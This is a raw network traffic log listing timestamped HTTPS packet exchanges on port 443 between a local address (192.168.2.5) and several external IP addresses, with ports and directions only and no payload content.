Oct 6, 2024 14:08:23.137984037 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.138024092 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.138029099 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.138039112 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.138077021 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.138082027 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.138595104 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.138643026 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.138648987 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.163619995 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.163897991 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.163917065 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.164850950 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.164911032 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.165366888 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.165424109 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.165424109 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.165427923 CEST	443	49753	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.165473938 CEST	49753	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.165982008 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.166006088 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.166083097 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.166309118 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.166316032 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.207036018 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.207103968 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.207118034 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.225893974 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.225961924 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.225970030 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226083994 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226125956 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226129055 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.226139069 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226180077 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.226186991 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226907969 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226948023 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.226958036 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.226963043 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.227011919 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.227015972 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.227060080 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.227102041 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.227108002 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.227428913 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.227490902 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.227845907 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.227897882 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.227902889 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228014946 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228054047 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228069067 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.228072882 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228110075 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.228799105 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228879929 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228921890 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.228926897 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.228977919 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.229023933 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.229029894 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.230737925 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.230923891 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.230968952 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.230969906 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.230974913 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.231030941 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.234759092 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.234838963 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.235184908 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.235338926 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.235351086 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.235375881 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.238445044 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.240242958 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.240446091 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.240458965 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.244180918 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.244246006 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.244555950 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.244673014 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.244772911 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.265922070 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.266148090 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.266174078 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.269723892 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.269790888 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.272871971 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.272945881 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.278028965 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.278040886 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301379919 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301403046 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301448107 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301460028 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.301472902 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301486015 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.301506996 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.301556110 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.302097082 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.302109957 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.303170919 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.303560019 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.303590059 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.305466890 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.305529118 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306024075 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306102037 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306159019 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306190968 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306200981 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306220055 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306229115 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306238890 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306241035 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306272030 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306286097 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306297064 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306303024 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306318045 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306349993 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306387901 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306617975 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.306652069 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.306786060 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.307255030 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.307276964 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.307341099 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.307349920 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.307959080 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.307986021 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.314632893 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.314682961 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.314686060 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.314702034 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.314754963 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.314760923 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.314863920 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.314909935 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.315764904 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.315771103 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.321103096 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.321125031 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.321141005 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.321213007 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.321249008 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.321300030 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.333096981 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.333121061 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.333141088 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.333194971 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.333213091 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.333240986 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.333256960 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.357348919 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357381105 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357391119 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357409954 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357419014 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357426882 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357439041 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.357462883 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.357481003 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.357523918 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.371788979 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.371825933 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.371859074 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.371876001 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.371906042 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.371927977 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.372446060 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.372464895 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.372468948 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.372467995 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.372467995 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.372473955 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.381939888 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.381978035 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.382014036 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.382030010 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.382052898 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.382075071 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.408358097 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.408390045 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.408433914 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.408444881 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.408463001 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.408478022 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.408509016 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.423702955 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.423719883 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.423753977 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.423780918 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.423798084 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.423824072 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.427995920 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428009033 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428044081 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428059101 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428076029 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.428078890 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428087950 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.428105116 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.428105116 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.428133011 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.430495977 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.430505991 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.430526972 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.430541039 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.430572987 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.430582047 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.456226110 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.456257105 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.456309080 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.456347942 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.456367970 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.459042072 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.459069967 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.459119081 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.459130049 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.459145069 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.461561918 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.461586952 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.461667061 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.461678028 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.462774992 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.462827921 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.462836981 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.469696045 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.469723940 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.469805002 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.469824076 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.469836950 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.473524094 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.473541021 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.473613024 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.473623037 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.475234985 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.475306988 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.475315094 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.475346088 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.475358963 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.475404978 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.475588083 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.475601912 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.480607986 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.480643034 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.480710983 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.480926037 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.480940104 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.505248070 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.510298014 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510333061 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510360956 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510385036 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.510397911 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510416985 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.510416985 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.510442019 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510488033 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.510504007 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510606050 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.510653973 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.512752056 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.512782097 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.512820005 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.512824059 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.512840986 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.512855053 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.512876987 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.513664007 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.513695002 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.514442921 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.514452934 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.514472961 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.514511108 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.514523983 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.514540911 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.514547110 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.514563084 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.515960932 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.516010046 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.516024113 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.516030073 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.516063929 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.516083956 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.516088963 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.516124964 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.516165018 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.517669916 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.517683983 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.522623062 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.524612904 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.524652958 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.524704933 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.525194883 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.525208950 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.541408062 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.541426897 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.541450024 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.541476965 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.541503906 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.541507959 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.541520119 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.541547060 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.543165922 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543195009 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543226004 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.543241024 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543258905 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.543751955 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543792963 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543807030 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.543816090 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.543845892 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.543865919 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.545885086 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.545905113 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.545960903 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.545970917 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.546009064 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.546101093 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.546164989 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.546216965 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.547468901 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.547482967 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.547528982 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.547590971 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.547646046 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.547671080 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.547709942 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.547741890 CEST	443	49751	2.16.168.6	192.168.2.5
